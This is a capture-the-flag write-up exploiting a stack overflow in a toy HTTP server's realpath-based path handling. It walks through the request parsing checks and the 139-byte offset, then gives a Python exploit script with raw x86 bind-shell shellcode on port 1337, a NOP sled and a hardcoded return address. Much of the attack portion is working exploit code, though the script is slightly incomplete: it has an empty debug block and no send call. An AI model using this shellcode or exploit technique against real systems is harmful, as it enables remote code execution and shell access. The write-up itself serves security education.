This challenge is pretty much a straight forward stack overflow where you are using the fact that when we call real_path:

int fix_path(char *path)
  char resolved[128];
  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
  strcpy(path, resolved);

our path variable’s size is controlled by our initial read in parse_http_request:

  char buffer[1024];
  char* path;
  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
  path = &buffer[4];

as our path variable is simply a pointer to a location in buffer 4 bytes in. So looking up what realpath does we find that it will copy the given path string to our resolved buffer expanding any relative paths that we might have. realpath will also make sure that the file actually exists and if it doesn’t it will return NULL. So for our sake we really don’t care if we can access the strcpy because realpath will do the same thing for us!

So now that we know what we are targeting, we need to make sure we pass the earlier checks to actually get to this point.

  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request"); // Is "GET " the first part of the given string?

  path = &buffer[4];
  q = strchr(path, ' '); // After the "GET " string, is there another space?
  if(! q) errx(0, "No protocol version specified"); // If not, throw an error
  *q++ = 0; // Replace the space with a NULL character so we separate the path and protocol
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol"); // Is the protocol == "HTTP/1.1"?

So from this we can deduce our payload is going to be something in the form of GET <fill buffer><return address>; HTTP/1.1<nop sled><shellcode>;. You can stick your shellcode in the nop sled but it is up to you :D Since we want $eip to point to our shellcode located some number of bytes away from the start of our buffer, we can start with using the buffer address that get leaked to us by the program and add some offset to get to our nop sled (the nop sled is optional here since we can really just calculate the exact offset but I was too lazy lol). Wiht some playing around in the binary you can find number of bogus characters to fill the buffer to be 139, after the 139th character, you will begin to overwrite the return address :D. Thus we would want our return address would be: buffer address + 139 + a few more to make sure we go past the return address that we stuck in there and onto the nop sled. Putting it all together we get:

import sys
from os.path import expanduser
home = expanduser("~")
sys.path.append(home + "/Template")
from isis import *

#Allow time to attach debugger
debug = True
#change for local vs remote exploit
host = ""
port = 20000

#set up connection and set timeout 
def connect():
	s = get_socket((host,port))
	return s

s = connect()
if debug:

# Shell Bind TCP Shellcode Port 1337 - 89 bytes -
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"

fill_buff = "A"*139 + lei(0xbffff8f8 + 170)

payload = "GET "
payload += fill_buff
payload += " HTTP/1.1"
payload += "\x90" * 32
payload += shellcode

# keeps connection open

We then have a shell listening on port 1337 that we can nc into :D

(I used a collection of helper functions from Blankwall’s Template library. I encourage you to check it out: (Github)